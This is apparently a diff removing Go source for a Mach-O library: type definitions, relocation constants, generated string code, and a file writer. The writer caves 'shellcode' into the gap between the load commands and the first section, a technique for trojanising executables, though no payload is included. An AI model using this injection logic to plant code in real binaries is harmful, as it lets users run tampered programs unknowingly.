var cmdStrings = []intName{
|
||||
{uint32(LoadCmdSegment), "LoadCmdSegment"},
|
||||
{uint32(LoadCmdThread), "LoadCmdThread"},
|
||||
{uint32(LoadCmdUnixThread), "LoadCmdUnixThread"},
|
||||
{uint32(LoadCmdDylib), "LoadCmdDylib"},
|
||||
{uint32(LoadCmdSegment64), "LoadCmdSegment64"},
|
||||
{uint32(LoadCmdRpath), "LoadCmdRpath"},
|
||||
{uint32(LoadCmdSignature), "LoadCmdSignature"},
|
||||
{uint32(LoadCmdFuncStarts), "LoadCmdFuncStarts"},
|
||||
{uint32(LoadCmdDataInCode), "LoadCmdDataInCode"},
|
||||
{uint32(LoadCmdDylinkInfo), "LoadCmdDylinkInfo"},
|
||||
}
|
||||
|
||||
func (i LoadCmd) String() string { return stringName(uint32(i), cmdStrings, false) }
|
||||
func (i LoadCmd) GoString() string { return stringName(uint32(i), cmdStrings, true) }
|
||||
|
||||
// Prog.Flag
|
||||
type ProgFlag uint32
|
||||
|
||||
const (
|
||||
PF_NONE ProgFlag = 0x0 /* None */
|
||||
PF_R ProgFlag = 0x1 /* Readable. */
|
||||
PF_W ProgFlag = 0x2 /* Writable. */
|
||||
PF_X ProgFlag = 0x4 /* Executable. */
|
||||
)
|
||||
|
||||
type (
|
||||
// A Segment32 is a 32-bit Mach-O segment load command.
|
||||
Segment32 struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Name [16]byte
|
||||
Addr uint32
|
||||
Memsz uint32
|
||||
Offset uint32
|
||||
Filesz uint32
|
||||
Maxprot uint32 // ProgFlag - Maximum Segment Virtual Memory Protections
|
||||
Prot uint32 // ProgFlag - Initial Segment Virtual Memory Protections
|
||||
Nsect uint32
|
||||
Flag uint32
|
||||
}
|
||||
|
||||
// A Segment64 is a 64-bit Mach-O segment load command.
|
||||
Segment64 struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Name [16]byte
|
||||
Addr uint64
|
||||
Memsz uint64
|
||||
Offset uint64
|
||||
Filesz uint64
|
||||
Maxprot uint32
|
||||
Prot uint32
|
||||
Nsect uint32
|
||||
Flag uint32
|
||||
}
|
||||
|
||||
// A SigBlockCmd is a Mach-O symbol table command.
|
||||
SigBlockCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Sigoff uint32
|
||||
Sigsize uint32
|
||||
}
|
||||
|
||||
// A SymtabCmd is a Mach-O symbol table command.
|
||||
SymtabCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Symoff uint32
|
||||
Nsyms uint32
|
||||
Stroff uint32
|
||||
Strsize uint32
|
||||
}
|
||||
|
||||
// A DysymtabCmd is a Mach-O dynamic symbol table command.
|
||||
DysymtabCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Ilocalsym uint32
|
||||
Nlocalsym uint32
|
||||
Iextdefsym uint32
|
||||
Nextdefsym uint32
|
||||
Iundefsym uint32
|
||||
Nundefsym uint32
|
||||
Tocoffset uint32
|
||||
Ntoc uint32
|
||||
Modtaboff uint32
|
||||
Nmodtab uint32
|
||||
Extrefsymoff uint32
|
||||
Nextrefsyms uint32
|
||||
Indirectsymoff uint32
|
||||
Nindirectsyms uint32
|
||||
Extreloff uint32
|
||||
Nextrel uint32
|
||||
Locreloff uint32
|
||||
Nlocrel uint32
|
||||
}
|
||||
|
||||
// DylinkerCmd is a load command to identify the dynamic linker
|
||||
DylinkerCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Name uint32
|
||||
}
|
||||
|
||||
// A DylibCmd is a Mach-O load dynamic library command.
|
||||
DylibCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Name uint32
|
||||
Time uint32
|
||||
CurrentVersion uint32
|
||||
CompatVersion uint32
|
||||
}
|
||||
|
||||
// A FuncStartsCmd is a Mach-O load Function Starts command
|
||||
FuncStartsCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Dataoff uint32
|
||||
Datasize uint32
|
||||
}
|
||||
|
||||
// A DataInCodeCmd is a Mach-O load for Data In Code command
|
||||
DataInCodeCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Dataoff uint32
|
||||
Datasize uint32
|
||||
}
|
||||
|
||||
// A DylinkInfoCmd is a Mach-O load for Dynamic Linker Info Only Command
|
||||
DylinkInfoCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Rebaseoff uint32
|
||||
Rebasesize uint32
|
||||
Bindinginfooff uint32
|
||||
Bindinginfosize uint32
|
||||
Weakbindingoff uint32
|
||||
Weakbindingsize uint32
|
||||
Lazybindingoff uint32
|
||||
Lazybindingsize uint32
|
||||
Exportinfooff uint32
|
||||
Exportinfosize uint32
|
||||
}
|
||||
|
||||
// A RpathCmd is a Mach-O rpath command.
|
||||
RpathCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Path uint32
|
||||
}
|
||||
|
||||
// A Thread is a Mach-O thread state command.
|
||||
Thread struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Type uint32
|
||||
Data []uint32
|
||||
}
|
||||
|
||||
// A EntryPointCmd is a Mach-O entry point command.
|
||||
EntryPointCmd struct {
|
||||
Cmd uint32 /* LC_MAIN only used in MH_EXECUTE filetypes */
|
||||
CmdSize uint32 /* 24 */
|
||||
EntryOff uint64 /* file (__TEXT) offset of main() */
|
||||
StackSize uint64 /* if not zero, initial stack size */
|
||||
}
|
||||
)
|
||||
|
||||
const (
|
||||
FlagNoUndefs uint32 = 0x1
|
||||
FlagIncrLink uint32 = 0x2
|
||||
FlagDyldLink uint32 = 0x4
|
||||
FlagBindAtLoad uint32 = 0x8
|
||||
FlagPrebound uint32 = 0x10
|
||||
FlagSplitSegs uint32 = 0x20
|
||||
FlagLazyInit uint32 = 0x40
|
||||
FlagTwoLevel uint32 = 0x80
|
||||
FlagForceFlat uint32 = 0x100
|
||||
FlagNoMultiDefs uint32 = 0x200
|
||||
FlagNoFixPrebinding uint32 = 0x400
|
||||
FlagPrebindable uint32 = 0x800
|
||||
FlagAllModsBound uint32 = 0x1000
|
||||
FlagSubsectionsViaSymbols uint32 = 0x2000
|
||||
FlagCanonical uint32 = 0x4000
|
||||
FlagWeakDefines uint32 = 0x8000
|
||||
FlagBindsToWeak uint32 = 0x10000
|
||||
FlagAllowStackExecution uint32 = 0x20000
|
||||
FlagRootSafe uint32 = 0x40000
|
||||
FlagSetuidSafe uint32 = 0x80000
|
||||
FlagNoReexportedDylibs uint32 = 0x100000
|
||||
FlagPIE uint32 = 0x200000
|
||||
FlagDeadStrippableDylib uint32 = 0x400000
|
||||
FlagHasTLVDescriptors uint32 = 0x800000
|
||||
FlagNoHeapExecution uint32 = 0x1000000
|
||||
FlagAppExtensionSafe uint32 = 0x2000000
|
||||
)
|
||||
|
||||
// A Section32 is a 32-bit Mach-O section header.
|
||||
type Section32 struct {
|
||||
Name [16]byte
|
||||
Seg [16]byte
|
||||
Addr uint32
|
||||
Size uint32
|
||||
Offset uint32
|
||||
Align uint32
|
||||
Reloff uint32
|
||||
Nreloc uint32
|
||||
Flags uint32
|
||||
Reserve1 uint32
|
||||
Reserve2 uint32
|
||||
}
|
||||
|
||||
// A Section64 is a 64-bit Mach-O section header.
|
||||
type Section64 struct {
|
||||
Name [16]byte
|
||||
Seg [16]byte
|
||||
Addr uint64
|
||||
Size uint64
|
||||
Offset uint32
|
||||
Align uint32
|
||||
Reloff uint32
|
||||
Nreloc uint32
|
||||
Flags uint32
|
||||
Reserve1 uint32
|
||||
Reserve2 uint32
|
||||
Reserve3 uint32
|
||||
}
|
||||
|
||||
// An Nlist32 is a Mach-O 32-bit symbol table entry.
|
||||
type Nlist32 struct {
|
||||
Name uint32
|
||||
Type uint8
|
||||
Sect uint8
|
||||
Desc uint16
|
||||
Value uint32
|
||||
}
|
||||
|
||||
// An Nlist64 is a Mach-O 64-bit symbol table entry.
|
||||
type Nlist64 struct {
|
||||
Name uint32
|
||||
Type uint8
|
||||
Sect uint8
|
||||
Desc uint16
|
||||
Value uint64
|
||||
}
|
||||
|
||||
// Regs386 is the Mach-O 386 register structure.
|
||||
type Regs386 struct {
|
||||
AX uint32
|
||||
BX uint32
|
||||
CX uint32
|
||||
DX uint32
|
||||
DI uint32
|
||||
SI uint32
|
||||
BP uint32
|
||||
SP uint32
|
||||
SS uint32
|
||||
FLAGS uint32
|
||||
IP uint32
|
||||
CS uint32
|
||||
DS uint32
|
||||
ES uint32
|
||||
FS uint32
|
||||
GS uint32
|
||||
}
|
||||
|
||||
// RegsAMD64 is the Mach-O AMD64 register structure.
|
||||
type RegsAMD64 struct {
|
||||
AX uint64
|
||||
BX uint64
|
||||
CX uint64
|
||||
DX uint64
|
||||
DI uint64
|
||||
SI uint64
|
||||
BP uint64
|
||||
SP uint64
|
||||
R8 uint64
|
||||
R9 uint64
|
||||
R10 uint64
|
||||
R11 uint64
|
||||
R12 uint64
|
||||
R13 uint64
|
||||
R14 uint64
|
||||
R15 uint64
|
||||
IP uint64
|
||||
FLAGS uint64
|
||||
CS uint64
|
||||
FS uint64
|
||||
GS uint64
|
||||
}
|
||||
|
||||
type intName struct {
|
||||
i uint32
|
||||
s string
|
||||
}
|
||||
|
||||
func stringName(i uint32, names []intName, goSyntax bool) string {
|
||||
for _, n := range names {
|
||||
if n.i == i {
|
||||
if goSyntax {
|
||||
return "macho." + n.s
|
||||
}
|
||||
return n.s
|
||||
}
|
||||
}
|
||||
return strconv.FormatUint(uint64(i), 10)
|
||||
}
|
||||
-72
@@ -1,72 +0,0 @@
|
||||
// Copyright 2017 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package macho
|
||||
|
||||
//go:generate stringer -type=RelocTypeGeneric,RelocTypeX86_64,RelocTypeARM,RelocTypeARM64 -output reloctype_string.go
|
||||
|
||||
type RelocTypeGeneric int
|
||||
|
||||
const (
|
||||
GENERIC_RELOC_VANILLA RelocTypeGeneric = 0
|
||||
GENERIC_RELOC_PAIR RelocTypeGeneric = 1
|
||||
GENERIC_RELOC_SECTDIFF RelocTypeGeneric = 2
|
||||
GENERIC_RELOC_PB_LA_PTR RelocTypeGeneric = 3
|
||||
GENERIC_RELOC_LOCAL_SECTDIFF RelocTypeGeneric = 4
|
||||
GENERIC_RELOC_TLV RelocTypeGeneric = 5
|
||||
)
|
||||
|
||||
func (r RelocTypeGeneric) GoString() string { return "macho." + r.String() }
|
||||
|
||||
type RelocTypeX86_64 int
|
||||
|
||||
const (
|
||||
X86_64_RELOC_UNSIGNED RelocTypeX86_64 = 0
|
||||
X86_64_RELOC_SIGNED RelocTypeX86_64 = 1
|
||||
X86_64_RELOC_BRANCH RelocTypeX86_64 = 2
|
||||
X86_64_RELOC_GOT_LOAD RelocTypeX86_64 = 3
|
||||
X86_64_RELOC_GOT RelocTypeX86_64 = 4
|
||||
X86_64_RELOC_SUBTRACTOR RelocTypeX86_64 = 5
|
||||
X86_64_RELOC_SIGNED_1 RelocTypeX86_64 = 6
|
||||
X86_64_RELOC_SIGNED_2 RelocTypeX86_64 = 7
|
||||
X86_64_RELOC_SIGNED_4 RelocTypeX86_64 = 8
|
||||
X86_64_RELOC_TLV RelocTypeX86_64 = 9
|
||||
)
|
||||
|
||||
func (r RelocTypeX86_64) GoString() string { return "macho." + r.String() }
|
||||
|
||||
type RelocTypeARM int
|
||||
|
||||
const (
|
||||
ARM_RELOC_VANILLA RelocTypeARM = 0
|
||||
ARM_RELOC_PAIR RelocTypeARM = 1
|
||||
ARM_RELOC_SECTDIFF RelocTypeARM = 2
|
||||
ARM_RELOC_LOCAL_SECTDIFF RelocTypeARM = 3
|
||||
ARM_RELOC_PB_LA_PTR RelocTypeARM = 4
|
||||
ARM_RELOC_BR24 RelocTypeARM = 5
|
||||
ARM_THUMB_RELOC_BR22 RelocTypeARM = 6
|
||||
ARM_THUMB_32BIT_BRANCH RelocTypeARM = 7
|
||||
ARM_RELOC_HALF RelocTypeARM = 8
|
||||
ARM_RELOC_HALF_SECTDIFF RelocTypeARM = 9
|
||||
)
|
||||
|
||||
func (r RelocTypeARM) GoString() string { return "macho." + r.String() }
|
||||
|
||||
type RelocTypeARM64 int
|
||||
|
||||
const (
|
||||
ARM64_RELOC_UNSIGNED RelocTypeARM64 = 0
|
||||
ARM64_RELOC_SUBTRACTOR RelocTypeARM64 = 1
|
||||
ARM64_RELOC_BRANCH26 RelocTypeARM64 = 2
|
||||
ARM64_RELOC_PAGE21 RelocTypeARM64 = 3
|
||||
ARM64_RELOC_PAGEOFF12 RelocTypeARM64 = 4
|
||||
ARM64_RELOC_GOT_LOAD_PAGE21 RelocTypeARM64 = 5
|
||||
ARM64_RELOC_GOT_LOAD_PAGEOFF12 RelocTypeARM64 = 6
|
||||
ARM64_RELOC_POINTER_TO_GOT RelocTypeARM64 = 7
|
||||
ARM64_RELOC_TLVP_LOAD_PAGE21 RelocTypeARM64 = 8
|
||||
ARM64_RELOC_TLVP_LOAD_PAGEOFF12 RelocTypeARM64 = 9
|
||||
ARM64_RELOC_ADDEND RelocTypeARM64 = 10
|
||||
)
|
||||
|
||||
func (r RelocTypeARM64) GoString() string { return "macho." + r.String() }
|
||||
-49
@@ -1,49 +0,0 @@
|
||||
// Code generated by "stringer -type=RelocTypeGeneric,RelocTypeX86_64,RelocTypeARM,RelocTypeARM64 -output reloctype_string.go"; DO NOT EDIT.
|
||||
|
||||
package macho
|
||||
|
||||
import "strconv"
|
||||
|
||||
const _RelocTypeGeneric_name = "GENERIC_RELOC_VANILLAGENERIC_RELOC_PAIRGENERIC_RELOC_SECTDIFFGENERIC_RELOC_PB_LA_PTRGENERIC_RELOC_LOCAL_SECTDIFFGENERIC_RELOC_TLV"
|
||||
|
||||
var _RelocTypeGeneric_index = [...]uint8{0, 21, 39, 61, 84, 112, 129}
|
||||
|
||||
func (i RelocTypeGeneric) String() string {
|
||||
if i < 0 || i >= RelocTypeGeneric(len(_RelocTypeGeneric_index)-1) {
|
||||
return "RelocTypeGeneric(" + strconv.FormatInt(int64(i), 10) + ")"
|
||||
}
|
||||
return _RelocTypeGeneric_name[_RelocTypeGeneric_index[i]:_RelocTypeGeneric_index[i+1]]
|
||||
}
|
||||
|
||||
const _RelocTypeX86_64_name = "X86_64_RELOC_UNSIGNEDX86_64_RELOC_SIGNEDX86_64_RELOC_BRANCHX86_64_RELOC_GOT_LOADX86_64_RELOC_GOTX86_64_RELOC_SUBTRACTORX86_64_RELOC_SIGNED_1X86_64_RELOC_SIGNED_2X86_64_RELOC_SIGNED_4X86_64_RELOC_TLV"
|
||||
|
||||
var _RelocTypeX86_64_index = [...]uint8{0, 21, 40, 59, 80, 96, 119, 140, 161, 182, 198}
|
||||
|
||||
func (i RelocTypeX86_64) String() string {
|
||||
if i < 0 || i >= RelocTypeX86_64(len(_RelocTypeX86_64_index)-1) {
|
||||
return "RelocTypeX86_64(" + strconv.FormatInt(int64(i), 10) + ")"
|
||||
}
|
||||
return _RelocTypeX86_64_name[_RelocTypeX86_64_index[i]:_RelocTypeX86_64_index[i+1]]
|
||||
}
|
||||
|
||||
const _RelocTypeARM_name = "ARM_RELOC_VANILLAARM_RELOC_PAIRARM_RELOC_SECTDIFFARM_RELOC_LOCAL_SECTDIFFARM_RELOC_PB_LA_PTRARM_RELOC_BR24ARM_THUMB_RELOC_BR22ARM_THUMB_32BIT_BRANCHARM_RELOC_HALFARM_RELOC_HALF_SECTDIFF"
|
||||
|
||||
var _RelocTypeARM_index = [...]uint8{0, 17, 31, 49, 73, 92, 106, 126, 148, 162, 185}
|
||||
|
||||
func (i RelocTypeARM) String() string {
|
||||
if i < 0 || i >= RelocTypeARM(len(_RelocTypeARM_index)-1) {
|
||||
return "RelocTypeARM(" + strconv.FormatInt(int64(i), 10) + ")"
|
||||
}
|
||||
return _RelocTypeARM_name[_RelocTypeARM_index[i]:_RelocTypeARM_index[i+1]]
|
||||
}
|
||||
|
||||
const _RelocTypeARM64_name = "ARM64_RELOC_UNSIGNEDARM64_RELOC_SUBTRACTORARM64_RELOC_BRANCH26ARM64_RELOC_PAGE21ARM64_RELOC_PAGEOFF12ARM64_RELOC_GOT_LOAD_PAGE21ARM64_RELOC_GOT_LOAD_PAGEOFF12ARM64_RELOC_POINTER_TO_GOTARM64_RELOC_TLVP_LOAD_PAGE21ARM64_RELOC_TLVP_LOAD_PAGEOFF12ARM64_RELOC_ADDEND"
|
||||
|
||||
var _RelocTypeARM64_index = [...]uint16{0, 20, 42, 62, 80, 101, 128, 158, 184, 212, 243, 261}
|
||||
|
||||
func (i RelocTypeARM64) String() string {
|
||||
if i < 0 || i >= RelocTypeARM64(len(_RelocTypeARM64_index)-1) {
|
||||
return "RelocTypeARM64(" + strconv.FormatInt(int64(i), 10) + ")"
|
||||
}
|
||||
return _RelocTypeARM64_name[_RelocTypeARM64_index[i]:_RelocTypeARM64_index[i+1]]
|
||||
}
|
||||
-343
@@ -1,343 +0,0 @@
|
||||
package macho
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"sort"
|
||||
)
|
||||
|
||||
// Bytes - Returns the bytes of an assembled *macho.File
|
||||
func (machoFile *File) Bytes() ([]byte, error) {
|
||||
var bytesWritten uint64
|
||||
w := bytes.NewBuffer(nil)
|
||||
|
||||
// Write entire file header.
|
||||
buf := &bytes.Buffer{}
|
||||
err := binary.Write(buf, machoFile.ByteOrder, machoFile.FileHeader)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
headerLength := len(buf.Bytes())
|
||||
binary.Write(w, machoFile.ByteOrder, machoFile.FileHeader)
|
||||
bytesWritten += uint64(headerLength)
|
||||
//log.Printf("%x: Wrote file header of size: %v", bytesWritten, bytesWritten)
|
||||
|
||||
// Reserved 4 bytes at end of header
|
||||
w.Write([]byte{0, 0, 0, 0})
|
||||
bytesWritten += 4
|
||||
|
||||
// Write Load Commands Loop
|
||||
for _, singleLoad := range machoFile.Loads {
|
||||
buf2 := &bytes.Buffer{}
|
||||
err = binary.Write(buf2, machoFile.ByteOrder, singleLoad.Raw())
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
LoadCmdLen := len(buf2.Bytes())
|
||||
binary.Write(w, machoFile.ByteOrder, singleLoad.Raw())
|
||||
bytesWritten += uint64(LoadCmdLen)
|
||||
//log.Printf("%x: Wrote Load Command, total size of: %v", bytesWritten, LoadCmdLen)
|
||||
}
|
||||
|
||||
// Shellcode gets caved in between the final load command and the first section
|
||||
if len(machoFile.Insertion) > 0 {
|
||||
binary.Write(w, machoFile.ByteOrder, machoFile.Insertion)
|
||||
bytesWritten += uint64(len(machoFile.Insertion))
|
||||
}
|
||||
|
||||
// Sort Sections
|
||||
sortedSections := machoFile.Sections[:]
|
||||
sort.Slice(sortedSections, func(a, b int) bool { return machoFile.Sections[a].Offset < machoFile.Sections[b].Offset })
|
||||
|
||||
/*
|
||||
var caveOffset, caveSize uint64
|
||||
for _, s := range sortedSections {
|
||||
if s.SectionHeader.Seg == "__TEXT" && s.Name == "__text" {
|
||||
caveOffset = bytesWritten
|
||||
caveSize = uint64(s.Offset) - caveOffset
|
||||
log.Printf("Code Cave Size: %d - %d = %d\n", s.Offset, caveOffset, caveSize)
|
||||
log.Println("Shellcode Size: ", len(machoFile.Insertion))
|
||||
break
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
// Write Sections
|
||||
for _, s := range sortedSections {
|
||||
|
||||
if bytesWritten > uint64(s.Offset) {
|
||||
log.Printf("Overlapping Sections in Generated macho: %+v\n", s.Name)
|
||||
continue
|
||||
}
|
||||
if bytesWritten < uint64(s.Offset) {
|
||||
pad := make([]byte, uint64(s.Offset)-bytesWritten)
|
||||
w.Write(pad)
|
||||
bytesWritten += uint64(len(pad))
|
||||
//log.Printf("%x: wrote %d padding bytes\n", bytesWritten, len(pad))
|
||||
}
|
||||
section, err := ioutil.ReadAll(s.Open())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
binary.Write(w, machoFile.ByteOrder, section)
|
||||
bytesWritten += uint64(len(section))
|
||||
//log.Printf("%x: wrote %d bytes section/segment named: %s %s\n", bytesWritten, uint64(len(section)), s.Name, s.Seg)
|
||||
}
|
||||
// Write Dynamic Loader Info if it exists
|
||||
if machoFile.DylinkInfo != nil {
|
||||
// Write Rebase if it exists
|
||||
if len(machoFile.DylinkInfo.RebaseDat) > 0 {
|
||||
//log.Printf("Rebase Offset: %d", machoFile.DylinkInfo.RebaseOffset)
|
||||
if int64(machoFile.DylinkInfo.RebaseOffset)-int64(bytesWritten) > 0 {
|
||||
padA := make([]byte, machoFile.DylinkInfo.RebaseOffset-bytesWritten)
|
||||
w.Write(padA)
|
||||
bytesWritten += uint64(len(padA))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(padA))
|
||||
}
|
||||
//log.Printf("Rebase: %+v \n", machoFile.DylinkInfo.RebaseDat)
|
||||
w.Write(machoFile.DylinkInfo.RebaseDat)
|
||||
bytesWritten += uint64(machoFile.DylinkInfo.RebaseLen)
|
||||
//log.Printf("%x: Wrote raw Rebase, length of: %d", bytesWritten, machoFile.DylinkInfo.RebaseLen)
|
||||
}
|
||||
//Binding
|
||||
if len(machoFile.DylinkInfo.BindingInfoDat) > 0 {
|
||||
//log.Printf("Binding Offset: %d", machoFile.DylinkInfo.BindingInfoOffset)
|
||||
if int64(machoFile.DylinkInfo.BindingInfoOffset)-int64(bytesWritten) > 0 {
|
||||
padB := make([]byte, machoFile.DylinkInfo.BindingInfoOffset-bytesWritten)
|
||||
w.Write(padB)
|
||||
bytesWritten += uint64(len(padB))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(padB))
|
||||
}
|
||||
//log.Printf("Binding Info: %+v \n", machoFile.DylinkInfo.BindingInfoDat)
|
||||
w.Write(machoFile.DylinkInfo.BindingInfoDat)
|
||||
bytesWritten += uint64(machoFile.DylinkInfo.BindingInfoLen)
|
||||
//log.Printf("%x: Wrote raw Binding Info, length of: %d", bytesWritten, machoFile.DylinkInfo.BindingInfoLen)
|
||||
}
|
||||
//Lazy
|
||||
if len(machoFile.DylinkInfo.LazyBindingDat) > 0 {
|
||||
//log.Printf("Lazy Offset: %d", machoFile.DylinkInfo.LazyBindingOffset)
|
||||
if int64(machoFile.DylinkInfo.LazyBindingOffset)-int64(bytesWritten) > 0 {
|
||||
padD := make([]byte, machoFile.DylinkInfo.LazyBindingOffset-bytesWritten)
|
||||
w.Write(padD)
|
||||
bytesWritten += uint64(len(padD))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(padD))
|
||||
}
|
||||
//log.Printf("Lazy Binding Data: %+v \n", machoFile.DylinkInfo.LazyBindingDat)
|
||||
w.Write(machoFile.DylinkInfo.LazyBindingDat)
|
||||
bytesWritten += uint64(machoFile.DylinkInfo.LazyBindingLen)
|
||||
//log.Printf("%x: Wrote raw lazybinding, length of: %d", bytesWritten, machoFile.DylinkInfo.LazyBindingLen)
|
||||
}
|
||||
//Export
|
||||
if len(machoFile.DylinkInfo.ExportInfoDat) > 0 {
|
||||
//log.Printf("Export Offset: %d", machoFile.DylinkInfo.ExportInfoOffset)
|
||||
if int64(machoFile.DylinkInfo.ExportInfoOffset)-int64(bytesWritten) > 0 {
|
||||
padE := make([]byte, machoFile.DylinkInfo.ExportInfoOffset-bytesWritten)
|
||||
w.Write(padE)
|
||||
bytesWritten += uint64(len(padE))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(padE))
|
||||
}
|
||||
//log.Printf("Export Info: %+v \n", machoFile.DylinkInfo.ExportInfoDat)
|
||||
w.Write(machoFile.DylinkInfo.ExportInfoDat)
|
||||
bytesWritten += uint64(machoFile.DylinkInfo.ExportInfoLen)
|
||||
//log.Printf("%x: Wrote raw Export Info, length of: %d", bytesWritten, machoFile.DylinkInfo.ExportInfoLen)
|
||||
}
|
||||
//Weak
|
||||
if len(machoFile.DylinkInfo.WeakBindingDat) > 0 {
|
||||
//log.Printf("Weak Offset: %d", machoFile.DylinkInfo.WeakBindingOffset)
|
||||
if int64(machoFile.DylinkInfo.WeakBindingOffset)-int64(bytesWritten) > 0 {
|
||||
padC := make([]byte, machoFile.DylinkInfo.WeakBindingOffset-bytesWritten)
|
||||
w.Write(padC)
|
||||
bytesWritten += uint64(len(padC))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(padC))
|
||||
}
|
||||
//log.Printf("Weak Binding: %+v \n", machoFile.DylinkInfo.WeakBindingDat)
|
||||
w.Write(machoFile.DylinkInfo.WeakBindingDat)
|
||||
bytesWritten += uint64(machoFile.DylinkInfo.WeakBindingLen)
|
||||
//log.Printf("%x: Wrote raw Weak Binding, length of: %d", bytesWritten, machoFile.DylinkInfo.WeakBindingLen)
|
||||
}
|
||||
}
|
||||
|
||||
// Write the Func Starts if they exist
|
||||
if machoFile.FuncStarts != nil {
|
||||
//log.Printf("new pad: %d", machoFile.FuncStarts.Offset-bytesWritten)
|
||||
if int64(machoFile.FuncStarts.Offset)-int64(bytesWritten) > 0 {
|
||||
padY := make([]byte, machoFile.FuncStarts.Offset-bytesWritten)
|
||||
w.Write(padY)
|
||||
bytesWritten += uint64(len(padY))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(padY))
|
||||
}
|
||||
//log.Printf("FuncStarts: %+v \n", machoFile.FuncStarts)
|
||||
w.Write(machoFile.FuncStarts.RawDat)
|
||||
bytesWritten += uint64(machoFile.FuncStarts.Len)
|
||||
//log.Printf("%x: Wrote raw funcstarts, length of: %d", bytesWritten, machoFile.FuncStarts.Len)
|
||||
}
|
||||
|
||||
// Write the Data in Code Entries if they exist
|
||||
if machoFile.DataInCode != nil {
|
||||
if int64(machoFile.DataInCode.Offset)-int64(bytesWritten) > 0 {
|
||||
padZ := make([]byte, machoFile.DataInCode.Offset-bytesWritten)
|
||||
w.Write(padZ)
|
||||
bytesWritten += uint64(len(padZ))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(padZ))
|
||||
}
|
||||
//log.Printf("DataInCode: %+v \n", machoFile.DataInCode)
|
||||
w.Write(machoFile.DataInCode.RawDat)
|
||||
bytesWritten += uint64(machoFile.DataInCode.Len)
|
||||
//log.Printf("%x: Wrote raw dataincode, length of: %d", bytesWritten, machoFile.DataInCode.Len)
|
||||
}
|
||||
|
||||
// Write Symbols is next I think
|
||||
symtab := machoFile.Symtab
|
||||
//log.Printf("Bytes written: %d", bytesWritten)
|
||||
//log.Printf("Indirect symbol offset: %d", machoFile.Dysymtab.DysymtabCmd.Indirectsymoff)
|
||||
//log.Printf("Locrel offset: %d", machoFile.Dysymtab.Locreloff)
|
||||
//log.Printf("Symtab offset: %d", symtab.Symoff)
|
||||
//log.Printf("String table offset: %d", symtab.Stroff)
|
||||
if int64(symtab.Symoff)-int64(bytesWritten) > 0 {
|
||||
pad := make([]byte, uint64(symtab.Symoff)-bytesWritten)
|
||||
w.Write(pad)
|
||||
bytesWritten += (uint64(symtab.Symoff) - bytesWritten)
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, uint64(symtab.Symoff)-bytesWritten)
|
||||
}
|
||||
w.Write(symtab.RawSymtab)
|
||||
bytesWritten += uint64(len(symtab.RawSymtab))
|
||||
//log.Printf("%x: Wrote raw symtab, length of: %d", bytesWritten, len(symtab.RawSymtab))
|
||||
|
||||
// Write DySymTab next!
|
||||
dysymtab := machoFile.Dysymtab
|
||||
if int64(dysymtab.Indirectsymoff)-int64(bytesWritten) > 0 {
|
||||
pad2 := make([]byte, uint64(dysymtab.Indirectsymoff)-bytesWritten)
|
||||
w.Write(pad2)
|
||||
bytesWritten += uint64(len(pad2))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(pad2))
|
||||
}
|
||||
w.Write(dysymtab.RawDysymtab)
|
||||
bytesWritten += uint64(len(dysymtab.RawDysymtab))
|
||||
//log.Printf("%x: Wrote raw indirect symbols, length of: %d", bytesWritten, len(dysymtab.RawDysymtab))
|
||||
|
||||
// Write StringTab!
|
||||
if int64(symtab.Stroff)-int64(bytesWritten) > 0 {
|
||||
pad3 := make([]byte, uint64(symtab.Stroff)-bytesWritten)
|
||||
w.Write(pad3)
|
||||
bytesWritten += uint64(len(pad3))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(pad3))
|
||||
}
|
||||
w.Write(symtab.RawStringtab)
|
||||
bytesWritten += uint64(len(symtab.RawStringtab))
|
||||
//log.Printf("%x: Wrote raw stringtab, length of: %d", bytesWritten, len(symtab.RawStringtab))
|
||||
|
||||
// Write The Signature Block, if it exists
|
||||
//log.Printf("SigBlock Dat: %v", machoFile.SigBlock)
|
||||
if machoFile.SigBlock != nil {
|
||||
if int64(machoFile.SigBlock.Offset)-int64(bytesWritten) > 0 {
|
||||
padX := make([]byte, int64(machoFile.SigBlock.Offset)-int64(bytesWritten))
|
||||
w.Write(padX)
|
||||
bytesWritten += uint64(len(padX))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(padX))
|
||||
}
|
||||
w.Write(machoFile.SigBlock.RawDat)
|
||||
bytesWritten += uint64(machoFile.SigBlock.Len)
|
||||
//log.Printf("%x: Wrote raw sigblock, length of: %d", bytesWritten, machoFile.SigBlock.Len)
|
||||
}
|
||||
|
||||
// Write 0s to the end of the final segment
|
||||
if int64(FinalSegEnd)-int64(bytesWritten) > 0 {
|
||||
